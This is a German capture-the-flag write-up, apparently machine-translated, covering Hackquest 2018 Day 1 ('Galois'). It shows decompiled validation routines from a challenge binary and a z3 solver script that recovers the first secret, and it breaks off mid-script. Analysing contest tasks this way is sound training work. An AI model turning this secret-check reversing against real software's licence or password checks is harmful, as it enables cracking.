Hackquest 2018. Ergebnisse & Zuschreibungen. Tag 1-3

Sieben Tage der jährlichen Hackquest - sieben Aufgaben, die gelöst werden müssen, um freie Eintrittskarten für Zeronights zu erhalten. In diesem Artikel empfehlen wir Ihnen, sich mit den Entscheidungen einiger von ihnen vertraut zu machen und die Namen der Gewinner herauszufinden. Der Einfachheit halber werden wir die Veröffentlichung in zwei Teile aufteilen.



Inhalt





Tag1. Galois


Für Hilfe bei der Vorbereitung dieser Aufgabe danken wir REhints .
"Die Herausforderung ist so einfach wie die folgende: Laden Sie die Binärdatei herunter (pass: infiziert), entwickeln Sie sie zurück und stellen Sie zwei Geheimnisse wieder her, die die Binärdatei akzeptiert. Jedes Geheimnis ist eine ASCII-Zeichenfolge. Sie müssten zuerst die erste Stufe lösen, bevor Sie die zweite angreifen. Viel Glück und möge Galois mit dir sein! “

Um das Flag zu erhalten, müssen zwei geheime Werte nacheinander eingegeben werden:

Bild

Durch die Zeilen der Nachrichten gelangen wir in die Funktion:

DialogFunc
BOOL __stdcall DialogFunc(HWND hWnd, UINT a2, WPARAM a3, LPARAM a4) { HWND v5; // eax HWND v6; // eax HWND v7; // eax HWND v8; // eax HWND v9; // eax HWND v10; // eax CHAR v11; // [esp+0h] [ebp-5Ch] CHAR String[20]; // [esp+2Ch] [ebp-30h] struct tagRECT Rect; // [esp+40h] [ebp-1Ch] UINT v14; // [esp+50h] [ebp-Ch] HDC hdc; // [esp+54h] [ebp-8h] unsigned int i; // [esp+58h] [ebp-4h] v14 = a2; if ( a2 == 20 ) { hdc = (HDC)a3; GetClientRect(hWnd, &Rect); SetMapMode(hdc, 8); SetWindowExtEx(hdc, 100, 100, 0); SetViewportExtEx(hdc, Rect.right, Rect.bottom, 0); FillRect(hdc, &Rect, hbr); return 1; } if ( v14 == 272 ) return 1; if ( v14 != 273 || HIWORD(a3) ) return 0; if ( (unsigned __int16)a3 == 1 ) { EndDialog(hWnd, (unsigned __int16)a3); return 1; } if ( (unsigned __int16)a3 != 1002 ) { if ( (unsigned __int16)a3 == 1004 ) { sub_42E7C0(&v11, 0, 42); if ( GetDlgItemTextA(hWnd, 1005, &v11, 42) <= 0x27 && (unsigned __int8)sub_42CEF0(&v11) ) { v9 = GetDlgItem(hWnd, 1004); EnableWindow(v9, 0); v10 = GetDlgItem(hWnd, 1005); EnableWindow(v10, 0); MessageBoxW(hWnd, L"Good job!", L"Success", 0); return 1; } MessageBoxW(hWnd, L"Keep trying!", L"Rejected", 0); } return 1; } if ( GetDlgItemTextA(hWnd, 1001, String, 18) != 16 || !(unsigned __int8)sub_4014E0(String) ) { MessageBoxW(hWnd, L"Keep trying!", L"Rejected", 0); return 1; } v5 = GetDlgItem(hWnd, 1002); EnableWindow(v5, 0); v6 = GetDlgItem(hWnd, 1001); EnableWindow(v6, 0); v7 = GetDlgItem(hWnd, 1005); EnableWindow(v7, 1); v8 = GetDlgItem(hWnd, 1004); EnableWindow(v8, 1); for ( i = 0; i < 0x28; ++i ) *((_BYTE *)&dword_442780 + i) ^= String[(signed int)i % 16]; MessageBoxW(hWnd, L"Stage #2 unlocked!", L"Accepted", 0); return 1; } 


Um "Stufe 2 freigeschaltet!" Zu erreichen müssen Sie den Test in der Funktion sub_4014E0 (Zeichenfolgenlänge - 16 Zeichen). Und vor dem "Guten Job!" - Noch eine Prüfung in sub_42CEF0 (die Länge der zweiten Zeile beträgt weniger als 40 Zeichen).

Stufe 1


 char __cdecl sub_4014E0(char *a1) { int v1; // ecx unsigned __int128 var_1018[256]; // [esp+0h] [ebp-1018h] unsigned __int128 var_18; // [esp+1000h] [ebp-18h] int v5; // [esp+1010h] [ebp-8h] char v6; // [esp+1017h] [ebp-1h] sub_438740(0x1018u, v1); sub_43A460(var_1018, xmmword_4427A8, 0x1000u); sub_4010E0(a1, var_1018); sub_401250(var_1018, &var_18); v5 = sub_438845(var_18, &xmmword_442770, 0x10u); if ( !v5 ) v6 = 1; return v6; } 

Unter dem Debugger können Sie überprüfen, sub_43A460 Daten kopiert von:
Bild

Und sub_438845 vergleicht den Wert mit:
.data:00442770 xmmword_442770 9698CA91EE29902C60D377C981589205h

Die Daten werden in Form von 128-Bit-Zahlen dargestellt, da sie sich bei der weiteren Analyse als bequemer herausstellten.

Sub_4010E0 Funktion
 void __cdecl sub_4010E0(unsigned __int128 *a1, unsigned __int128 *a2) { signed int i; // [esp+4h] [ebp-8h] signed int j; // [esp+8h] [ebp-4h] for ( i = 0; i < 128; ++i ) { for ( j = 0; j < 128; ++j ) { if ( (*((_DWORD *)a1 + (j >> 5)) >> (j & 0x1F)) & 1 ) { if ( !((*((_DWORD *)a1 + ((j + 1) % 128 >> 5)) >> ((j + 1) % 128 & 0x1F)) & 1) ) *((_DWORD *)&a2[2 * i] + ((j + 128) >> 5)) &= ~(1 << ((j + -128) & 0x1F)); } else { *((_DWORD *)&a2[2 * i] + (j >> 5)) &= ~(1 << (j & 0x1F)); *((_DWORD *)&a2[2 * i] + ((j + 128) >> 5)) &= ~(1 << ((j + -128) & 0x1F)); } } } } 


Die gleiche Funktion in etwas vereinfachter Form
 void __cdecl sub_4010E0(unsigned __int128 *a1, unsigned __int128 *a2) { signed int i; // [esp+4h] [ebp-8h] signed int j; // [esp+8h] [ebp-4h] signed int j_1; for ( i = 0; i < 128; ++i ) { for ( j = 0; j < 128; ++j ) { j_1 = (j + 1) % 128; if ( (*((_DWORD *)a1 + j / 32) >> (j % 32)) & 1 ) { if ( !((*((_DWORD *)a1 + j_1 / 32) >> (j_1 % 32)) & 1) ) *((_DWORD *)&a2[2 * i] + 4 + j / 32) &= ~(1 << (j % 32)); } else { *((_DWORD *)&a2[2 * i] + j / 32) &= ~(1 << (j % 32)); *((_DWORD *)&a2[2 * i] + 4 + j / 32) &= ~(1 << (j % 32)); } } } } 


Für jedes Paar von 128-Bit-Zahlen, die durch das zweite Argument adressiert werden, durchläuft der Zyklus 128 Bits der Eingabezeichenfolge (das erste Argument) und setzt, wenn das Bit 0 ist, die entsprechenden Bits zurück (führt im Wesentlichen die UND-Operation aus). Für die zweite Zahl aus einem Bitpaar wird sie auch zurückgesetzt, wenn das nächste Bit in der Sequenz 0 ist.
Auf Python sieht es ungefähr so ​​aus:
 def sub_4010E0(a1, a2): for i in range(128): a2[2 * i] &= a1 a2[2 * i + 1] &= a1 & (a1 >> 1) 

Funktion sub_401250
 void __cdecl sub_401250(unsigned __int128 *a1, unsigned __int128 *a2) { signed int k; // [esp+4h] [ebp-Ch] signed int j; // [esp+8h] [ebp-8h] signed int i; // [esp+Ch] [ebp-4h] *(_QWORD *)a2 = 0i64; *((_QWORD *)a2 + 1) = 0i64; for ( i = 0; i < 128; ++i ) { for ( j = 0; j < 4; ++j ) *((_DWORD *)&a1[2 * i] + j) ^= *((_DWORD *)&a1[2 * i + 1] + j); for ( k = 0; k < 2; ++k ) *((_DWORD *)&a1[2 * i] + k) ^= *((_DWORD *)&a1[2 * i] + k + 2); LODWORD(a1[2 * i]) ^= DWORD1(a1[2 * i]); LODWORD(a1[2 * i]) ^= LODWORD(a1[2 * i]) >> 16; LODWORD(a1[2 * i]) ^= LODWORD(a1[2 * i]) >> 8; LODWORD(a1[2 * i]) ^= LODWORD(a1[2 * i]) >> 4; LODWORD(a1[2 * i]) ^= LODWORD(a1[2 * i]) >> 2; LODWORD(a1[2 * i]) ^= LODWORD(a1[2 * i]) >> 1; if ( a1[2 * i] & 1 ) *((_DWORD *)a2 + (i >> 5)) |= 1 << (i & 0x1F); } } 


Die Funktion faltet jedes resultierende Paar in ein Bit und führt ein XOR zwischen allen Bits durch. Empfing 128 Bits und bilden eine Zahl im Vergleich zu der angegebenen.

Um eine Lösung zu finden, verwenden wir den Solver z3.

Durch einfaches Ersetzen in einem Notizbuch verwandeln wir das Array xmmword_4427A8 in ein System (Nullen und Einsen links sind die Zahlen xmmword_442770).
 from z3 import * init('../') def xor_bits(x): x = Extract(63, 0, x) ^ Extract(127, 64 ,x) x = Extract(31, 0, x) ^ Extract(63, 32, x) x = Extract(15, 0, x) ^ Extract(31, 16, x) x = Extract(7, 0, x) ^ Extract(15, 8, x) x = Extract(3, 0, x) ^ Extract(7, 4, x) x = Extract(1, 0, x) ^ Extract(3, 2, x) return Extract(0, 0, x) ^ Extract(1, 1, x) x = BitVec('x', 128) s = Solver() # 0x9698CA91EE29902C60D377C981589205 s.add(1 == xor_bits(BitVecVal(0x23B617F87A29, 128) & x) ^ xor_bits(BitVecVal(0x19203F83800, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x1091, 128) & x) ^ xor_bits(BitVecVal(0x0, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0xC1C283565E, 128) & x) ^ xor_bits(BitVecVal(0xC001020E, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x2C1A78A0, 128) & x) ^ xor_bits(BitVecVal(0x4083800, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x1B, 128) & x) ^ xor_bits(BitVecVal(0x1, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x2BD, 128) & x) ^ xor_bits(BitVecVal(0x1C, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x6434999B6302B0DBCA8123800BE, 128) & x) ^ xor_bits(BitVecVal(0x10088921001049C000018001E, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x613, 128) & x) ^ xor_bits(BitVecVal(0x1, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x16129091D4A1C4, 128) & x) ^ xor_bits(BitVecVal(0x2000000C000C0, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x91, 128) & x) ^ xor_bits(BitVecVal(0x0, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x76749651E3D6AD117C5AF, 128) & x) ^ xor_bits(BitVecVal(0x12300200E1C204003C087, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x42FED750966FE5, 128) & x) ^ xor_bits(BitVecVal(0x7E43000227E0, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x19D096E5D570B, 128) & x) ^ xor_bits(BitVecVal(0xC00260C0301, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x2BD67AA37EC064C89AF12D97, 128) & x) ^ xor_bits(BitVecVal(0x1C238013E40204008700483, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x3372FB29B7426152C739DB374312B, 128) & x) ^ xor_bits(BitVecVal(0x1307900930020004318C91301001, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x56D0FAF2FF, 128) & x) ^ xor_bits(BitVecVal(0x24078707F, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x5AAEFBCEFB063DB41635, 128) & x) ^ xor_bits(BitVecVal(0x80679C679021C900210, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x6388B6598BDD29D10862B2D9DC0B95, 128) & x) ^ xor_bits(BitVecVal(0x180120881CC00C000201048CC0180, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x1BB63AF4CE98D27, 128) & x) ^ xor_bits(BitVecVal(0x19218704608403, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x5D4D30E2F6807C1D, 128) & x) ^ xor_bits(BitVecVal(0xC04106072003C0C, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x71AE40387FEFC85, 128) & x) ^ xor_bits(BitVecVal(0x108600183FE7C00, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x1E320DC34999A60A93AE, 128) & x) ^ xor_bits(BitVecVal(0x61004C1008882000186, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x2F52, 128) & x) ^ xor_bits(BitVecVal(0x700, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xB9D4158F29C2CAEC9, 128) & x) ^ xor_bits(BitVecVal(0x18C0008700C040640, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x6347962CDB1BC, 128) & x) ^ xor_bits(BitVecVal(0x10382044909C, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xA2FF40, 128) & x) ^ xor_bits(BitVecVal(0x7F00, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x6, 128) & x) ^ xor_bits(BitVecVal(0x0, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x21FFD0D835722CFF409DD38B2E11, 128) & x) ^ xor_bits(BitVecVal(0xFFC0481030047F000CC1810600, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x466DC3, 128) & x) ^ xor_bits(BitVecVal(0x224C1, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x45D44FF2, 128) & x) ^ xor_bits(BitVecVal(0xC007F0, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x13ACE, 128) & x) ^ xor_bits(BitVecVal(0x1846, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x3FB1EAE727AD49CCA3, 128) & x) ^ xor_bits(BitVecVal(0xF90E063038400C401, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0xB35AD528D, 128) & x) ^ xor_bits(BitVecVal(0x110840004, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x135AB5C363654340F464007DC58, 128) & x) ^ xor_bits(BitVecVal(0x10810C1212001007020003CC08, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x405E95920EEE57BE0E0A51677D05, 128) & x) ^ xor_bits(BitVecVal(0xE00800666039E060000233C00, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0xB4DEE4643A9F3218C6, 128) & x) ^ xor_bits(BitVecVal(0x104E6020180F100842, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x678D930A747F3D1CCCC727B, 128) & x) ^ xor_bits(BitVecVal(0x3848100303F1C0C4443039, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x2DB2654501D47A394DC9A, 128) & x) ^ xor_bits(BitVecVal(0x490200000C0381804C08, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0xE86CDA733EA, 128) & x) ^ xor_bits(BitVecVal(0x202448311E0, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x13124A8FCA2ADE475, 128) & x) ^ xor_bits(BitVecVal(0x1000007C0004E030, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x44F8BC5F2E3551A9F94F8B2221EF6F3, 128) & x) ^ xor_bits(BitVecVal(0x781C0F06100080F807810000E7271, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x27274, 128) & x) ^ xor_bits(BitVecVal(0x3030, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x3558FA658C2, 128) & x) ^ xor_bits(BitVecVal(0x87820840, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x1C4CDE17C7DE9258195055E9265D221, 128) & x) ^ xor_bits(BitVecVal(0x4044E03C3CE0008080000E0020C000, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x760DB29068A310965, 128) & x) ^ xor_bits(BitVecVal(0x12049000200100020, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x5F6FB1F353B814B83DFAB039F, 128) & x) ^ xor_bits(BitVecVal(0xF2790F1019800181CF81018F, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0xBC0919D732BD93E1E7977D3B7B, 128) & x) ^ xor_bits(BitVecVal(0x1C0008C3101C81E0E3833C1939, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x5D31D733E3387235ECC, 128) & x) ^ xor_bits(BitVecVal(0xC10C311E1183010E44, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x2F6A4694FA4052C180C72D95FF, 128) & x) ^ xor_bits(BitVecVal(0x72002007800004080430480FF, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0xFFBC69460FD68BE9D350, 128) & x) ^ xor_bits(BitVecVal(0x3F9C200207C201E0C100, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x14BDFBEFE7, 128) & x) ^ xor_bits(BitVecVal(0x1CF9E7E3, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x253F95DEE35BCE76A0EA615EB11D698, 128) & x) ^ xor_bits(BitVecVal(0x1F80CE6109C6320060200E100C208, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x161B1831E960, 128) & x) ^ xor_bits(BitVecVal(0x2090810E020, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xE60, 128) & x) ^ xor_bits(BitVecVal(0x220, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x1, 128) & x) ^ xor_bits(BitVecVal(0x0, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x27A34B, 128) & x) ^ xor_bits(BitVecVal(0x38101, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x2A6578A4772D94E8, 128) & x) ^ xor_bits(BitVecVal(0x20380033048060, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x27D96036E73482CFEBC7, 128) & x) ^ xor_bits(BitVecVal(0x3C8201263100047E1C3, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xF7D2916E7B86CBC1EAA90C6D91CBD6D2, 128) & x) ^ xor_bits(BitVecVal(0x33C00026398241C0E000042480C1C240, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x7F5C045BF883B66C591E7D63, 128) & x) ^ xor_bits(BitVecVal(0x1F0C0009F8019224080E3C21, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x230C9D771C, 128) & x) ^ xor_bits(BitVecVal(0x1040C330C, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x65C3, 128) & x) ^ xor_bits(BitVecVal(0xC1, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0xA0F976CAC739C6EA72493E20A84D29, 128) & x) ^ xor_bits(BitVecVal(0x7832404318C26030001E00000400, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x5C14054D9, 128) & x) ^ xor_bits(BitVecVal(0xC0000048, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xB36DDC2F, 128) & x) ^ xor_bits(BitVecVal(0x1124CC07, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x204B38A49FB9E97EFBE5E5, 128) & x) ^ xor_bits(BitVecVal(0x118000F98E03E79E0E0, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x2B98A6879C51C9A3FC98297AC62FAAE5, 128) & x) ^ xor_bits(BitVecVal(0x18802038C00C081FC08003842078060, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x102B85, 128) & x) ^ xor_bits(BitVecVal(0x180, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x13EEC3E9B7A62DE368BF9, 128) & x) ^ xor_bits(BitVecVal(0x1E641E0938204E1201F8, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x52225B78259, 128) & x) ^ xor_bits(BitVecVal(0x938008, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x16C9B2152C1AD870E0D19D979D3158F8, 128) & x) ^ xor_bits(BitVecVal(0x24090000408483060408C838C100878, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x3D6A84016CE76CDF9788C6CF07988A, 128) & x) ^ xor_bits(BitVecVal(0xC2000002463244F83804247038800, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x45B1FFF0C4B02E1605, 128) & x) ^ xor_bits(BitVecVal(0x90FFF04010060200, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x4A67A61, 128) & x) ^ xor_bits(BitVecVal(0x23820, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x6E, 128) & x) ^ xor_bits(BitVecVal(0x6, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x1D6BB8D17902FB4A8F, 128) & x) ^ xor_bits(BitVecVal(0x42198403800790007, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x8FA1BC3BDBC15350, 128) & x) ^ xor_bits(BitVecVal(0x7809C19C9C00100, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x168, 128) & x) ^ xor_bits(BitVecVal(0x20, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xBBE7539D2F7076F4CE1FCC1EF3CA8EB, 128) & x) ^ xor_bits(BitVecVal(0x19E3018C07303270460FC40E71C0061, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x1DC9E17, 128) & x) ^ xor_bits(BitVecVal(0x4C0E03, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x8985169ABA2ED, 128) & x) ^ xor_bits(BitVecVal(0x80020818064, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xE1BBE1C0CD10, 128) & x) ^ xor_bits(BitVecVal(0x2099E0C04400, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x7D371F4E0F5F0BF3F03955, 128) & x) ^ xor_bits(BitVecVal(0x1C130F06070F01F1F01800, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x3C0E6DF6B620EE, 128) & x) ^ xor_bits(BitVecVal(0xC0624F2120066, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x856D694, 128) & x) ^ xor_bits(BitVecVal(0x24200, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0xE, 128) & x) ^ xor_bits(BitVecVal(0x2, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x1CF36E1E92DDA26711DF8173584D, 128) & x) ^ xor_bits(BitVecVal(0x471260E004C802300CF80310804, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x8CDA56927574B1719C6698849, 128) & x) ^ xor_bits(BitVecVal(0x4480200303010308C2208000, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x18F63280A9C35EAE, 128) & x) ^ xor_bits(BitVecVal(0x72100000C10E06, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x1B6D7D560CA2D83B5146C79, 128) & x) ^ xor_bits(BitVecVal(0x1243C02040048190002438, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x7D5EC3A7E8F086BD8C888FB73A7AA, 128) & x) ^ xor_bits(BitVecVal(0x1C0E4183E070021C8400079318380, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x3E, 128) & x) ^ xor_bits(BitVecVal(0xE, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x71C2EA7DD6721FBB31A755F7F0, 128) & x) ^ xor_bits(BitVecVal(0x10C0603CC2300F99108300F3F0, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x1D8006A2ECC30EC6E96060612484CB, 128) & x) ^ xor_bits(BitVecVal(0x48002006441064260202020000041, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x40D7BF53BD2B, 128) & x) ^ xor_bits(BitVecVal(0x439F019C01, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x31B9C7CE6BA08F87CBB, 128) & x) ^ xor_bits(BitVecVal(0x98C3C621800783C19, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x3, 128) & x) ^ xor_bits(BitVecVal(0x0, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x389D589A2F5D200CF, 128) & x) ^ xor_bits(BitVecVal(0x80C0808070C00047, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x66E1D, 128) & x) ^ xor_bits(BitVecVal(0x260C, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xAE40064FE2D6E6, 128) & x) ^ xor_bits(BitVecVal(0x6000207E04262, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0xB2F81EBF410D713BCBE, 128) & x) ^ xor_bits(BitVecVal(0x10780E1F00043019C1E, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xA487A1A738B137F6E5F0A12285E4, 128) & x) ^ xor_bits(BitVecVal(0x38083181013F260F0000000E0, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xEF2F92935FDEFCBF4D5822E, 128) & x) ^ xor_bits(BitVecVal(0x270780010FCE7C1F0408006, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x3A4B402B51711661FBC7B32BE93, 128) & x) ^ xor_bits(BitVecVal(0x801000100300220F9C39101E01, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x35DD6F859D74F, 128) & x) ^ xor_bits(BitVecVal(0xCC27808C307, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x21F407CE26E40E2, 128) & x) ^ xor_bits(BitVecVal(0xF003C60260060, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x375BF3A, 128) & x) ^ xor_bits(BitVecVal(0x309F18, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x181A253BC548D3FBC8AE18E23, 128) & x) ^ xor_bits(BitVecVal(0x80019C00041F9C00608601, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x1F509272889043217CFC56, 128) & x) ^ xor_bits(BitVecVal(0x7000030000001003C7C02, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x22054C3647A1536F25EBA457C, 128) & x) ^ xor_bits(BitVecVal(0x4120380012700E18003C, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x153BFBDD, 128) & x) ^ xor_bits(BitVecVal(0x19F9CC, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x9D2B6EBF232E4A9, 128) & x) ^ xor_bits(BitVecVal(0xC01261F0106000, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xA52B, 128) & x) ^ xor_bits(BitVecVal(0x1, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x330D8F33869AED44B8A5255, 128) & x) ^ xor_bits(BitVecVal(0x1048711820864001800000, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x17CBFC73336, 128) & x) ^ xor_bits(BitVecVal(0x3C1FC31112, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x8D6AF39F592011E48AA7CB4B, 128) & x) ^ xor_bits(BitVecVal(0x420718F080000E00003C101, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x14A33B1D24F27764FB0656A8CF, 128) & x) ^ xor_bits(BitVecVal(0x1190C007033207902020047, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xED0C2, 128) & x) ^ xor_bits(BitVecVal(0x24040, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x1480871DCFB0535517EBBFB28DCA6, 128) & x) ^ xor_bits(BitVecVal(0x30CC790010003E19F9004C02, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x56D11B00CAFA443E11C9393D655A2375, 128) & x) ^ xor_bits(BitVecVal(0x24009004078001E00C0181C20080130, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xD2CA4211947191AE2C9B9F70FE7, 128) & x) ^ xor_bits(BitVecVal(0x4000008030808604098F307E3, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x12EEF0835, 128) & x) ^ xor_bits(BitVecVal(0x6670010, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x297C1A8D8, 128) & x) ^ xor_bits(BitVecVal(0x3C08048, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xAF5FBBA6506348A9199FC, 128) & x) ^ xor_bits(BitVecVal(0x70F998200210000088FC, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x82FE3E666BB603B908E800, 128) & x) ^ xor_bits(BitVecVal(0x7E1E2221920198006000, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0xB72AF73E919A14C2273070ED5C1DC, 128) & x) ^ xor_bits(BitVecVal(0x1300731E00880040031030640C0CC, 128) & x & RotateRight(x,1))) s.add(0 == xor_bits(BitVecVal(0x1FBD2A505F0CA679799, 128) & x) ^ xor_bits(BitVecVal(0x79C00000F040238388, 128) & x & RotateRight(x,1))) s.add(1 == xor_bits(BitVecVal(0x1D0F097C310F92E3C2BF8D42, 128) & x) ^ xor_bits(BitVecVal(0x407003C10078061C01F8400, 128) & x & RotateRight(x,1))) print(s.check()) model = 